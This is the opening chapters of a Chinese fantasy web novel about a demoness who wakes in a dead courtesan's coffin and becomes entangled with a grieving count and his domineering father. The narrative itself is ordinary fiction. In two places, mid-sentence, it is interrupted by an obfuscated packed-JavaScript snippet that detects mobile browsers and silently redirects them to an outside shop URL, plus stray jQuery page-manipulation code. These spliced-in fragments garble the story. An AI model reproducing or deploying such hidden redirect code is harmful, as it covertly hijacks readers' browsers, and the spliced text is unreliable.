《恶魔小姐今天也在拆伯爵的台[西幻]》 1. 莉莉贝特 她在黑暗中睁开了眼睛,眼前朦胧,黑压压一片。 她随意动了动,发现四周能活动的范围十分渺小。又摸了摸,周围四四方方的,像是一个盒子。 她推了推,上面像是压着什么,没推得动。空气中有一股若隐若现的土腥味,不难闻,但也不好闻。 如果她猜的没错,她应该在棺材里。也就是史诗上所记载的,吸血鬼的摇篮,死人的港湾,最接近撒旦也最接近上帝的地方。 “嘎嘎…” 耳边从四面八方蔓延而来的鸦鸣倒是挺让人深刻,无论是它们落地振翅的声音,还是它们呼朋唤友像四周呐喊的声音,每一个音节,都在棺材里回响,掠夺着莉莉贝特的耳膜。 吵死了,早知道就不参加什么魔族试炼,这下好了,睡过头了,上来的时候人都已经埋了。 这个时代的人类没有信仰,他们既不相信神,也不相信撒旦。如果她就这么揭棺而起,会不会登上那个叫“晚报”的东西,然后成为一桩奇谭? 数以万计的前人经验告诉她,成为一桩奇谭,是要被刻在历史的耻辱柱上的。 怎么办,是继续躺着,任由腐烂,睡个饱饱的觉滚回地狱?还是趁着夜黑风高,从棺材里爬出来,给这个时代的人们一点小小的震撼? 两个选择都有利有弊,不能十全其美,她正犹豫,耳边响起一丝极为轻巧的脚步,它驱散群鸦的吵闹,慢慢靠近。 “喂…有人吗?” 是个还未变声的少年音,像是在找什么。 他在找什么,是在找自己吗? 这个念头一出来,就被莉莉贝特立马否认了。她是借尸还魂,当一个人的怨言足够大时向撒旦请愿,就能邀请她从地狱爬到人间,前来为死者实现生前未能达成的心愿。 如果她猜的没错,献祭者应该就是她如今这具身体原本的主人。虽然她没有对方的记忆,也不知道对方要做什么,但她知道在当前的时代背景下,向魔鬼许愿这么私密的事情,献祭者本人应该不会像个大喇叭似的对外乱说吧。 还是再观察一下吧,她心想。 可谁知那个声音喊了没一会儿,外面稀稀疏疏传来一阵刨土声,感觉离她很近。 这人挖的不会是自己的坟吧?难道说刚才的询问,只是在验证这个时间点坟地里有没有人? 太奇怪了,这人挖尸体做什么?难不成…劫财劫色?! 劫财还好说,可如果是劫色… 她一阵恶寒,捏紧了身上的衣服。 纵使她是只恶魔,恶魔无恶不作。可亵渎尸体这种事情,她依旧做不出来。 好在没过一会儿,这人的喃喃自语推翻了莉莉贝特的猜想。 “这就是那个贵族交际花的墓?真可惜啊,还那么年轻,才二十岁。不过看照片长得真不错,怪不得伯爵念念不忘。” 交际花?难道说的是原主?就连死了,都得被冠以这样侮辱性的称号吗?真丢人啊! 她冷笑一声。 看在契约的份上,她决定暂且帮帮这个可怜的女子。 她拍了拍棺材板,推了推,感觉还行。 “谁?是谁!!”外面的人大概是听到了她拍棺材板的声音,语气中夹的这一丝惶恐。 莉莉贝特置之不理,继续尝试。钉在她棺材上的几颗钉子没几下就松动了,一股子粗制滥造的劣质产品味。 “这地方太可怕了,不会有鬼吧,我得赶紧完成任务。加油,亨利。” 他被莉莉贝特吓到了,却还是不肯走,壮着胆子给自己打气。乒乒乓乓,手里的铁锹与坟地的石头相撞,发出脆响。 他在加快手里的速度,他越是急,莉莉贝特也越急。 要是被一个普普通通的人类把坟给挖了,那她以后回到地狱,怎么做她的大恶魔。 她被自己的想法吓一跳,可这块棺材板子像是跟她过不去,明明钉子都松了,却还是沉沉的压在她的身上。 见了鬼了!? 不对,明明她才是鬼。 “我的路西法大人呐!” 惊讶之余,没忍住发出一声吐槽,意识到外面有人捂住嘴时已经来不及了。 “谁!是谁!谁在那里!!” 外面那小子大概正举着铲子茫然四顾,满脸惶恐,喊了一会儿就没了声。 他不会被吓死了吧!这可不行啊,就算他们是恶魔,恶魔也是有原则的!不会滥杀无辜。 管不了那么多了,她卯足了劲,将魔法汇聚在腿上,猛地一踢,“砰…”棺材板飞走了~ 四分五裂的木板在空中划过一条整齐的抛物线,连带着那些被顶起来的黄土,在飞到最高点的时候骤然炸开,化作夜色中的漫天雪花。 入目,无星无月,幽暗的夜色中,一个戴着贝雷帽,身穿布夹克,手里还拿着一把铲子的小男孩,正贴着她被挖了一半的坟聆听。 在两人目光对视的瞬间,他手里的铲子,“啪啦”…掉到了地上。 不好,他要尖叫! 莉莉贝特赶紧从棺材里翻身下地,以迅雷不及掩耳之势捂住了他的嘴。 “呜呜呜呜……” 小亨利的眼泪水从嘴里冒了出来,他连哭都忘了哭,眼睛翻了好几个白眼都没翻过去,有点像是想要晕,又晕不过去。 “闭嘴,你要是不想死的话,就给我把眼泪憋回去。”莉莉贝特嫌弃他的口水,随手一摸摸出一条帕子换手继续捂住他,另一只手擦擦,故作凶狠。 他很努力的吸了吸鼻子,眼角红红的,委屈巴巴的看着莉莉贝特,一副乖巧顺从的模样。 从他蓝色瞳孔的倒影中,莉莉贝特看见了自己如今的脸。 美…很美…一点都不比她们魔族逊色。 这是莉莉贝特对这张脸最直观的感受。 她有着一头如月光一般柔白的长发,一双灰色的杏眼透着一丝虚弱,却十分有神。她五官柔和,每一处都生得恰到好处,高挺而小巧的鼻子,白皙的皮肤,弯弯的长睫毛,还有那红如樱桃的唇瓣,神奇般的组合成了这张惊为天人的脸。 她对这张毫不比她的本貌长得差的脸很满意,莉莉贝特是个颜控,这是目前为止,唯一一件让她觉得还不错的事。 心情甚好,连四周围观的乌鸦都变得不再那么讨厌。 连乌鸦都不讨厌了,那手上这只小鬼,自然也达不到让她血洗双手的程度。 顶多,吓唬吓唬他,套点情报。 她指了指那个被她一脚踢开的棺材,又笑着指了指一旁被亨利挖出来的土堆,装作“友好”地说:“事先说好,你要是再叫,我就把你埋进去。” 听说人类都是用笑容来表达善意的,她自认为自己如今的表情应该看起来还算和善。 说完这些,她立马松开了亨利,还高兴的给人家理了理领口,嘴角弯弯。 可怜的小鬼身子晃了晃,脸色比纸要白,一阵寒风拂过,他的身子在风中摇摇欲坠。 大概是冷的吧,莉莉贝特想。 “你有什么问题,都可以问我,但是不能尖叫。” 她学着莉莉丝小姐哄萨麦尔先生的语气,还贴心地站到了迎风的那一侧,想着给这个小鬼挡挡风。 殊不知,当她的白发和白衣随着微风飘扬时,她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525324|203463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模样就像是地狱里爬出来的恶鬼,嘴里甜言蜜语充满了蛊惑,实则多说一个字都是万丈深渊。 亨利腿有点软,眼前的美人美则美矣,但怎么看都像是下一秒要吃人。 “卡…珊德拉…小姐。” “莉莉贝特…我叫莉莉贝特。” 原来这具身体的主人叫卡珊德拉,她的脑海里浮现出一个名字,“卡珊德拉·琼斯”。 因为她,莉莉贝特才得以从地狱爬出来,借着她的骸骨,向死而生。 很多大恶魔承了人类的愿望后喜欢雀占鸠巢,以他们的身份活下去,但莉莉贝特不屑于那么做。她觉得自己是莉莉贝特,无论以什么形式存在,都是莉莉贝特。 不知怎的,在听说她是莉莉贝特后,那小鬼的腿好像是没有那么抖了,说话时也多参杂了一丝试探。 “莉莉贝特…小姐?” “没错,说吧,你为什么要来挖…”她看着卡珊德拉的墓,一时之间话语卡了壳,失笑,继续道,“卡珊德拉小姐的坟。” “您…真的不是她吗?”小亨利歪着头,疑惑的盯着她那张脸,看了又看。 “很像对吗?那你看看,我和她有什么不一样?” 她故意贴近,故意看着亨利脸色白了又白。看着他慢慢后退,莉莉贝特的恶魔血脉在沸腾,心里有些畅快。 “看清了看清了,您的头发颜色和她不一样,眼睛颜色也不一样,虽然脸还是很像……”他有些纠结地停顿片刻,估计是自己也不好解释为什么莉莉贝特会从卡珊德拉的坟里钻出来,“请您不要再逗我了,我都快被您吓死了。” 莉莉贝特却没有放过他的打算,这小鬼大半夜的跑到坟地里来挖坟,好巧不巧挖的还是她的坟,她才不信这其中没有人推波助澜。 她没打算吓死对方,悄悄施了个魔咒,一旦此人的恐惧点达到阈值,她会立马收手。 墓地是山坡状,山脚下一片漆黑,只有头顶昏暗的灯火孤零零的立着。在这种环境下,若要躲藏一两个人,轻而易举。 她故意说,“也许我就是你说的卡珊德拉小姐呢?也有这个可能性的,对不对。” 果然他脸色更难看了,双腿又开始抖,嘴里支支吾吾,无意识地念叨着,“这个世界上没有鬼,这个世界上没有鬼,这个世界上没有鬼……” 莉莉贝特大笑,“如果没有鬼,那我是从哪里来的呢,我为什么会与你口中的卡珊德拉小姐长得一模一样?又为什么会从她的坟里爬出来?” 他哆嗦的更厉害了,身后的乌鸦不知道被什么惊起,“嘎嘎嘎”地飞走了,像是人类在哄堂大笑。 他缩起脖颈,后退,应该是打算趁乱逃跑,“是啊!为什么…你为什么与卡珊德拉小姐长得一模一样。” 真有意思,表面上看着都已经吓成这样了,但是莉莉贝特的魔法告诉她,这个人心中的恐惧,还没达到顶峰,甚至还有长长的一大截。 这人间,难道有什么是比鬼还要可怕的事情吗? “对啊,为什么呢?”莉莉贝特却没打算放过他,她正打算用恶魔的力量瞬移,从背后,吓亨利一个措手不及。 “你别吃我,我贫血!我是喝弗利特河河水长大的,你知道的,这条河臭名昭著,我的血一定不干净。” 他把自己当成吸血鬼了,正好中了莉莉贝特的下怀。她故意阴测测地说。 “干不干净,也得尝了才知道不是吗?” “不!不要啊!” 然而,一道突兀的男声,打破了夜晚的寂静,和两人的僵持。 “亨利,冷静,是莉莉贝特小姐在跟你开玩笑。” 2. 索恩古堡 借着山顶微弱的灯光,莉莉贝特看清楚了他的轮廓,是个身高大概有一米八五左右,穿着剪裁得体的绅士西装,手里握着一把黑色长柄伞,看起来很年轻,身材修长的男人。 笑起来眉眼弯弯,有点狡黠,像藏着坏,这是莉莉贝特对他最直观的感受。 他很瘦,双眼有些凹陷,不过仍然掩盖不住他的英俊,棱角分明的瓜子脸,修剪得当的眉毛,张扬的红发,高高的鼻梁,每一处都显露着他的贵族气质,英俊,高雅,难以靠近。 其中最突出的,还是那双天生宝绿色狐狸眼,惊为天人。 有些美中不足的是,这双眼睛并没有那么纯粹,像是无时无刻都藏着算计。 这份算计,当他望向莉莉贝特,目光灼灼地盯着她看时,又多了一丝无从考据的情意。 她心想,自己一个刚从地狱爬出来的恶魔,就算生的再美,也不见得就能让这么一只狐狸心甘情愿败倒在石榴裙下吧。 答案呼之欲出,这份情意,恐怕是给“尸体”小姐的。 是真是假就不知道了。 人类的感情最难驾驭,纵使是地狱的七宗罪,他们也只是某一宗罪比较突出。不像人类,他们可以将七宗罪的每一宗都同时发挥的淋漓尽致。 莉莉贝特正望着他的脸发呆,心想他十有八九站在那里很久了,所以才会知道自己的名字。 他正拍了拍吓软了腿的亨利的肩膀,暗示他先离开,也还算有情有义。 小亨利站着没动,不知道是害怕,还是在担心这个男人。见对方坚持,他也只是走到一旁的树边,静静等待。 男人对亨利的做法露出无奈的神情,也没再坚持,只是更多的把注意力放到了莉莉贝特身上。 见她半天不搭理自己,他也没有生气,反倒是依旧维持着得体的微笑,鞠了一躬,尝试着以呼唤她名字的方法来让她回神。 “莉莉贝特小姐。” “嗯,有什么事?” 莉莉贝特不喜欢算计太多的人,自然也没给他什么好脸色。 遭到冷落,他反而笑得更加灿烂。 “我都差点忘了自我介绍,我是杰诺尔·索恩。” 听着他口中陌生的名字,莉莉贝特的脑子里闪过一些记忆片段,应该是来自卡珊德拉的。 记忆片段中,卡珊德拉挽着他的肩膀跳舞,笑声萦绕,歌舞缱绻。透过卡珊德拉的视角,她看见这人眼中的深情更加纯粹,没有掺杂一丝算计。 可莉莉贝特不信,她见过地狱那些时刻与陛下周璇的政客,他们一个个都是穿着西装抽烟的猪豚,衣冠楚楚,背地里却一点人事都不干。 他们的魔爪之下,据说连第三狱的秃鹫都没能幸免。为了用那点可怜的绒毛填充他们奢靡的黑丝绒枕头,他们把这群可悲的鸟头顶拔得蹭光发亮。 在她眼里,这个叫杰诺尔·索恩的人,就跟那些猪豚没什么两样。 没准卡珊德拉的心愿,就跟这个人有关。 但这件事说来也奇怪,按照正常的契约流程,契约者许愿之后会交付契约书,契约书上会写明契约内容,绝不会让契约的魔族像个无头苍蝇似的到处乱窜。 究竟哪里出了错?为何她既看不到契约书,也无从得知契约内容,只能走一步算一步了。 第一步,她决定赖上这位伯爵。 学成人类的样子,她弯下腰,行了一个提裙礼。 “我叫莉莉贝特…姓氏是…” “琼斯。”他打断她说。 琼斯是卡珊德拉的姓氏,她没想到这个男人这么快就沉不住气了,既然他想让自己姓琼斯,那就随他的意。 “对,琼斯…”她似笑非笑。 似乎是很满意她的妥协,男人点了点头,竟然向她伸出了手,“那么琼斯小姐,夜黑风高,我的城堡就在附近,要不要去我的城堡里小憩一夜。” “这是我的荣幸,先生。” 莉莉贝特笑着答应。 ——— 杰诺尔的城堡面积不大,就坐落在蜿蜒的泰晤士河河畔,一处长满了芦苇丛的平原上。 围墙上站满了乌鸦,这些红眼睛的食腐生物喜欢栖息在阴暗潮湿的环境,他们畏惧阳光,也畏惧夜晚的白炽灯,许是因为这个原因,它们齐聚在这里。 整个古堡,没有一丝光明,漆黑的不像有活人居住。 杰诺尔归来,一名女仆跌跌撞撞的出来迎接,她大概是眼神不太好,没走两步就被破损的台阶绊住了脚,“扑通”摔了个狗啃泥。 “伯爵殿下,伯爵殿下你在哪里?” 女仆颤颤巍巍爬起来,一双手在黑暗中乱摸,朝着莉莉贝特和杰诺尔的反方向摸去。等门口的骑手石像又绊住她,她颤抖着探去,抱着石头茫然四顾。 “殿下,您的头怎么硬邦邦的?” “噗嗤。”莉莉贝特忍俊不禁,掐粗嗓子回应,“因为他跟一个东方的武术大师练了铁头功,谁要是摸他的脑袋,他就把头变得硬邦邦的,刀枪不入。” “奥奥奥,是这样的,那您的胸腔怎么也硬邦邦?” “因为他心如磐石,久而久之,就连胸腔也变硬了。” “原来是这样…那殿下的脚,怎么也硬邦邦的。” “因为他得了烂脚,为了不被贵族们嫌弃,他只能穿上坚硬的石头靴,日夜不脱。” 杰诺尔无语凝天,终于忍不住打断莉莉贝特的恶趣味对话,“能否允许我说两句。” “你说。”莉莉贝特笑捂了嘴。女仆也反应过来,站得笔直。 “我只想解释一句,”他的话里藏着一丝妥协,“我真的没有得烂脚。” “噗嗤…”莉莉贝特没忍住,又笑了。 杰诺尔纵容的望着她,一双大手趁她笑得放松警惕,攀上了她的头。 “玛丽有夜盲症,到了晚上她的眼睛人畜不分,你就别逗她了。” 莉莉贝特拍开他的手,叉着腰昂头,毫不示弱,“哼哼,你好意思说我逗她?你这城堡是养了吸血鬼吗,比棺材里还黑。伯爵大人,既然穷得口袋里一便士都没有,开不起灯,那不如把爵位卖了,去街上卖烤面包。” 话刚说完,不知从哪冒出来的小鬼,怒气冲冲地挡在了杰诺尔身前,“你少胡说八道!!伯爵才不穷。” “不穷?”莉莉贝特仿佛听见了什么好笑的笑话,指着屋顶一排怪诞石像和停留在上面的群鸦,“若不是连灯都开不起,那这群食腐喜黑的鸟为什么在这儿筑窝?明明知道那女仆有夜盲症,还放任她每天晚上像个瞎子一样四处走动。” “伯爵是有苦衷的!!”小亨利梗着脖子说。 “是有什么苦衷,看她摔成那样,还能无动于衷?” “是…是…”小亨利不再说话,那沉默了好一会的女仆小姐也低着头。 倒是杰诺尔,不慌不忙,笑容依旧, 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“怎么了,莉莉贝特小姐,是我家的穷酸震撼到你了吗?” 他故意把“穷酸”两个字说得很重,一边小声招呼玛丽去泡茶,一边又拍了拍亨利的肩膀让他回避。 两人都消失后,他目不转睛地盯着莉莉贝特看,目光缱绻。 然而莉莉贝特却无视来他的温柔,从她的角度看去,杰诺尔更像是摇着看不见的狐狸尾巴,正饶有趣味地盯着她脸上的表情,憋着坏。 “马马虎虎吧,呵…” 她咳嗽两声缓解尴尬,手脚僵硬地朝着沙发走去。沙发一看就很柔软,沙发上的小猫戴着紫色蝴蝶结,若不是有人在场,她恨不得将脑袋埋进去,对着小猫吸溜一口。 小猫小猫…摸摸摸摸… 小猫也很配合,翻了个身,露出雪白的肚皮,四只黑黑的梅花爪爪。 她就差没流哈喇子,毛绒控属性大爆发,怎么看都觉得好可爱。 脑子里甚至都已经开始盘算,盘算无声无息偷走一只可爱猫咪的可能性。 然而,就在她准备坐到小猫身旁好好摸一把时,某个讨厌鬼抢先一步,坐到了她看好了的位置上。 杰诺尔这个讨人厌的狗男人,迈着比她更宽的步子,三两步就超过了她!! “怎么了,莉莉贝特小姐,我脸上有东西吗?”他似笑非笑。 “没有,伯爵,我只是觉得您那个位置的壁炉火光有些刺眼,要不我跟您换一个吧。” 莉莉贝特连敬语都用上了,她心里暗自吐槽杰诺尔最好识相一点,不然她就要上手段了。 头顶的水晶灯有些摇摇晃晃。 “你都说刺眼了,我怎么忍心让你一位淑女被火光烤干眼睛呢?” 他摸着小猫,笑意阑珊。 莉莉贝特拳头有点痒,黑魔法在手中悄无声息凝聚,她不介意给这张漂亮的脸蛋上点儿腮红。 见她杀气腾腾,杰诺尔不躲不藏,笑眯眯的顺着猫毛,像是挑衅。 “怎么了,莉莉贝特小姐,是我家的红茶不和你的口味吗?” 实则根本没上什么红茶,正要去泡茶的女仆慌慌张张跑回来,就在莉莉贝特即将扔出黑魔法的时候。 “伯爵大人,有人…有人来了!” 3. 公爵来访 “轰隆……” 约莫午夜时分,天穹降下了一场铺天盖地的大雨。 “喵呜~” “喵呜~” 窗外是电闪雷鸣,城堡二楼的走廊上,那只纯白金吉拉的喵呜声在墙壁间回响,夹杂在轰鸣的雷声,和摔东西争吵的声中。 “喵呜~喵呜~” 吵闹声汹涌,喵叫声就越发凄惨。 莉莉贝特小心翼翼地推开房门,蹑手蹑脚,像是生怕惊扰了什么。 眼前,那只金吉拉侧对着她,正朝着一扇紧闭的房门大声喵呜。 房间里动静很大,吓得小猫频频炸毛。 莉莉贝特悄然靠近,一双不安分的手悬空在小猫头顶,趁其不备,一把拥住了它。 水蓝色的杏眼瞬间被喜悦占据,她贴着猫头蹭了又蹭,摩擦带来的静电让发丝都树了起来,显得有些毛躁。 她浑然不觉,眯着笑意,凑过去亲了猫咪两口。 “乖乖,你一定被吓坏了吧,来我怀里。” “喵呜~” 金吉拉将脑袋偏过头去,两只前爪绷得紧紧的,全身都写满了抗拒。 见它如此,莉莉贝特有些不高兴,小嘴一撅。 “你拒绝我?看看,那个男人把你拒之门外,而我为你而来,你居然拒绝我!!” “喵呜~” 金吉拉又叫了一声,听起来有点委屈,圆溜溜的猫眼时不时余光瞥向那扇昏暗的房门。 屋子里的争吵还在继续,零零散散有些只言片语从里面传出来。 有道陌生的中年男音听起来异常愤怒,理智全无。 “杰诺尔,你给我听着,我不管你什么理由,下个礼拜你必须去首相府报道。” “抱歉父亲,我拒绝。” 杰诺尔的声音倒是不紧不慢,依旧保持着理智,语气慵懒。 他越是镇定,莉莉贝特反而越觉得这个男人心里绝不像他表现出来这般从容,不然也不会听到有人要来,就急急忙忙拽着她的手,把她藏了起来,还千叮万嘱说千万不可以出来。 就像是,刻意在隐瞒她的存在。这要说他心里没鬼,谁信啊?呵… 而里面那位被他称之为“父亲”的男人,此时此刻还被蒙在鼓里,大声嚷嚷。 “你没有资格拒绝,你是索恩家这代唯一的男丁,代表着家族的荣耀,我绝不允许你像个废人一样整日窝在这古堡。怀念那个已经死了三年,连血肉都早该被蝇蛆啃食干净了的女人。” 死了三年了吗?莉莉贝特都不知道自己居然迟到了这么长时间? 那…这具身体,也就是说早就该腐烂了。 她眉头一皱,抱着猫的双手腾出一只,有些嫌弃的将手指放到鼻尖呼吸口,闻了又闻。 没有腐臭味,还好。她松了口气,嘴角慢慢扬起。 还挺有意思的,死了三年了,尸体居然没有腐烂,还能让她完好无损的从中苏醒。这要是放在泰晤士河河畔那些外科圣手的手里,也算是一个医学奇迹了吧。 呵…看来秘密,远比她想象中的要多。她现在更加好奇杰诺尔下一句会说什么了?是会揭开尸体的秘密?还是… 可没想到随之而来的,是他的一声轻笑,“噗嗤…” 莉莉贝特竖起耳朵来听,怀里的小猫也屏气凝神。 “我看您老还算老当益壮,也不见得就不行了。不如您去物色几位漂亮的年轻女孩,再现雄风,为索恩家族多添几位男丁。到时候,你可以选出那个最听你话的傀儡,让他替你巴结首相,为你谋取一人之下万人之上的权利。” “噗…”莉莉贝特没忍住笑出了声。 没想到这伯爵还挺损的,居然敢这么编排他老子。 “住口!” 听听!索恩公爵估计是肺都气炸了,半晌都说不出一句完整的话,从门缝露出来的,全是他大口喘气的声音。 “你…你……逆子……你以为我让你去首相府,就只是为了我的前程?如今女王失权,国家大事,全都由首相说了算,我只是在保住我们家族的地位!” 家门不幸,家门不幸啊!莉莉贝特一边偷笑,一边在心里揶揄。 许是她的笑声不够收敛,黑暗之中,她隐隐约约感觉到有一道视线瞪了自己一眼,又十分无奈地收回。 她暴露了,他在暗示自己离开这里。可莉莉贝特不肯,还冲他目光的方向吐了吐舌头。 “才不要!”她小声嘀咕,自言自语。 也不知道是听见了,还是猜到了。门缝里的杰诺尔蹙起眉头,略微有些不安,但嘴上依旧寸步不让,与公爵对峙。 “恕我无能,没法支持您老当益壮的理想。我劝您专注自己,少拿家族压我,也不要整日派人盯着我的古堡,找人偷走卡珊德拉的尸体,偷偷埋进墓地。” “我那是为你好!!成天念着一个死人,还用不知道哪里找来的巫术和魔药养着她的尸体,这要是传出去,整个家族的脸面都会被你丢尽!” 索恩公爵已经年过半百,头顶稀疏的红发逐渐褪色,变得红不红棕不棕,难看极了。岁月让他的眼角布满了皱纹,模糊了他的理想,让他变得理性,变得追名逐利。 这个时代的人们没有信仰,若有谁摆弄这些神神鬼鬼的东西,在贵族们的圈子里,肯定是要被当成笑料广为流传的。 不过,杰诺尔显然不在乎这些。 “为我好?呵…”他发出冷笑,话语中夹杂着一丝沧桑,“那我是不是应该还要感谢您?我亲爱的父亲。” 公爵话里有话,“感谢就不必了,谁让我是你的父亲!我一生坏事做尽,所以才会生出你这么个白眼狼。为你忙前忙后,花费大价钱收买人心,结果你为了一个女人,将自己关在古堡三年,荒废才华,修炼巫术,我没有你这样的儿子!” 杰诺尔懒得反驳,“所以我说,趁着没准您还能站得起来,您最好是多生,生一窝,生一堆,任你挑选,你想要什么样的儿子都还有机会。就不用在这儿折磨您自己,也折磨我。” 他的眼睛在昏黄的灯下闪烁着幽幽绿光,如同一匹伺机而动的豺狼。 门外的莉莉贝特听得津津有味,就连不知何时手里的猫挣脱了禁锢,都没发现。 没想到杰诺尔还是个痴情种,原来事情的发展这么具有戏剧性,实在是太有趣了,她忍俊不禁。 一切都说得通了,公爵偷走了杰诺尔私藏的卡珊德拉尸体,而杰诺尔又派亨利小子去挖坟,所以才有了她之前那段经历。 不过,杰诺尔看着斯斯文文,没想到这么重口…啧啧啧…受不了。 简直猎奇!她脑子里已经有画面了,杰诺尔抱着卡珊德拉的尸体,嘴里念着…ohmylove~ 停停停,受不了! 没感慨多久,“砰……”吓她一跳,思绪立马回笼。 吸引一个人注意力的最好办法,果然还是惊吓。 那是什么重物倒地的声音,像是被谁推翻了书架,厚重的羊皮纸书本发出巨石砸在地板上那样的声响。 看来打起来了,在摔东西了。 她扑通扑通的小心脏哟,逐渐平复后,她讪讪凑到门上,还是贼心不死的想要偷听。 入耳是公爵刺耳的尖叫。“滚!你给我滚出去!!” “这是我家,要出去,也是父亲您出去。” 杰诺尔真有种啊!莉莉贝特对他刮目相看。 “要是没有我,你有今天?有本事就放弃爵位,别花家里一分钱!还有,把我养你从小到大花的所有钱全都还给我!” “不用您说,我也会那么做。” 父子俩吵架都有乱摔东西的臭毛病,不一会里面乒乒乓乓,各种瓷器砸碎的声音起起落落。 “行…行…你厉害,我给你一个月, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525326|203463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一个月内……你…你把这件事给我办稳妥!你还我钱,从此以后我们……就…断绝……关系。” 公爵气得上气不接下气,每一个字都是咬牙切齿说出来的,结结巴巴。 “好啊,我会照做的,公爵大人。” 杰诺尔是会气人的,他立马就开始改口叫“公爵”。 莉莉贝特被他这幅见风使舵的态度再度逗笑,默默给他竖了个大拇指。 公爵气疯了。 “你最好做到!!!” “砰…”又是一件重物倒地的声音,公爵大抵又掀翻了一个书架。 “我可是你的儿子,自然学你,说—话—算—话。” 杰诺尔故意加重了后面四个字,不知道在暗示着什么,莉莉贝特听不明白。 “为了一朵交际花,居然跟我断绝关系,你不要后悔!” 公爵大概是醒悟了,明白了这个烂泥扶不上墙的儿子是没指望的,他撂下狠话,噔噔噔踩着沉重的脚步,怒气冲冲地往门口走。 杰诺尔愣了半秒,应该是没反应过来,等他心里闪过莉莉贝特就站在门口这个念头时,公爵已经快要走到门口。他的脸色瞬间黑如锅底,步子迈开,想要抢先一步。 索恩公爵见他动作,还以为是来挽留自己的,停了下来。 “你若是后悔了,现在,我还给你一个机会。” 毕竟是父子,索恩公爵听起来并不想闹得太难看。估计在他眼里,杰诺尔就是一个被他宠坏的孩子,两三句威胁就会服软。 窗外雷声轰鸣,门口莉莉贝特侧耳倾听,嘴里咕哝着。 “后悔多没意思啊,别后悔啊。是真男人就不畏强权,斗争到底。” 恶魔一族,向来看热闹不嫌事大,鬼马精灵。 公爵的停顿,给了杰诺尔抢先握住门把手的机会,“您猜错了,我绝不会后悔!只是夜黑风高,作为主人家,我还是得送送您。” 但没转动,似有顾虑,轻轻敲了三声。 莉莉贝特知道他是在暗示自己离开,也知道他在担心什么。 恶魔的恶趣味在作祟,她在想,这个时候,她要是站着不动,故意让索恩公爵看见她,看见她这张脸…那么事态的发展,会朝着哪个方向走去呢? 听他说不后悔,公爵好不容易压下去的怒火,腾地又窜了上来,“让开!我不用你假惺惺的。你看着吧,等我回去,我要好好跟你母亲算算这笔账!我倒要问问她,到底是怎么教的你,养出你这么个目无尊长、丢人现眼的东西。” “我劝你还是不要动她,除非你能保证自己十几年都只结了我这么一颗果实的铁树还能开花,不然…到了您的晚年,等您走不动路了,我可不会再管你。” “不用你管!!!” 他怒不可遏,上前作势要推开杰诺尔。可他终究是年纪大了,用力也没推得动。 焦急之下,杰诺尔用脚尖重重跺了三下,他在给莉莉贝特下最后通牒。 莉莉贝特偏不,她天生反骨,一个人类的威胁,她还不放在眼里。 走廊上,那只金吉拉又战战兢兢地靠了过来。 它对莉莉贝特,仍然保持着一丝防备。 宠物和人一样,也是念旧的,最初的那个人,带给他们的感情,终究是不一样。它会对着杰诺尔毫无防备,但却不会对莉莉贝特那样。 就像莉莉贝特永远是莉莉贝特,而不能是卡珊德拉。 她突然觉得有些无趣,瘪了瘪嘴,但也没动。 “让开!”公爵的忍耐终于到了零界点。 一声大喊后,一股巨大的冲击力砸上房门。 狗急了也会跳墙,更别说是个比狗力气大,比狗暴躁的中年男人。 他踢门了,半分平日里的优雅都没剩。 门轰地一声炸开,伴随着杰诺尔放大的绿色瞳孔。 “莉莉贝特!” 4. 交际花 “喵呜~” 门外,白色的金吉拉,在看见主人后,甜甜腻腻地叫了一声。 公爵看了猫一眼,眼珠子嫌弃地扫过。 “莉莉贝特?哼…你倒是有兴致,养了只畜生,还给它起名字。” “畜生比人更通人性,也懂进退,才不会像某些人一样固执得像块石头。” 杰诺尔意有所指。 “行啊,但愿你脱离了索恩家族之后,还能这么嚣张地跟我说话。” 他冷哼一声,拍了拍袖口上不存在的灰尘,扬长而去。 不一会,楼下传来玛丽和亨利送客的动静。 “公爵大人,夜黑风高,您慢走。” “伞……伞…伞拿着……” 玛丽倒是个贴心的,还不忘给索恩公爵递伞,不愧是从索恩庄园出来的忠仆。 杰诺尔站在原地,学着公爵的模样冷哼两声。 要他说,就应该让那个老头淋淋雨,免得一天到晚做他的春秋大梦。 自从皇室与首相分权,他一天都没有消停过,总想着把他这个传承了几百年的末位公爵地位提一提。 痴人说梦。 脚步声踩着雨点的嘀嗒渐行渐远,他这才松了一口气。 回望二楼走廊深处,一片漆黑,暮色张牙舞爪,像是要将人吞噬。 外面的雨越下越大,漆黑的云层中翻滚着雷电,雨声莎莎,给人一种想要拥抱着什么的感觉。 目光再次望向走廊深处,那个紧闭着房门的房间,似有一道神奇的魔力,吸引着他往前。 “陌生的世界中她孤单的醒来,紧握着时间,即使终将离开…”① 是莉莉贝特在唱歌,用他魂牵梦绕的声音在唱歌。 歌曲很陌生,他从未听过。但腔调和语气,与他无数个温柔美梦中卡珊德拉的呼唤,如出一辙。 今夜,是他这三年来梦到的唯一一个不愿醒来的美梦。 “凝视着你的瞳孔,抚慰着心中所有伤痕苦痛,即将迎来天亮的女孩沉睡在梦中。”② 如同魔鬼的蛊惑,他情不自禁地挪动了左脚。 声音越来越近,越来越清晰,隔着一扇厚重的白橡木门,也无法阻挡。 “莉莉贝特…?” 歌声没停,他轻声呼唤。 话音刚落,歌声渐小,房门在没有风里推动和外力作用下自然打开。入目,只见宽敞的欧式窗台上坐着发丝迎风飘扬的少女。 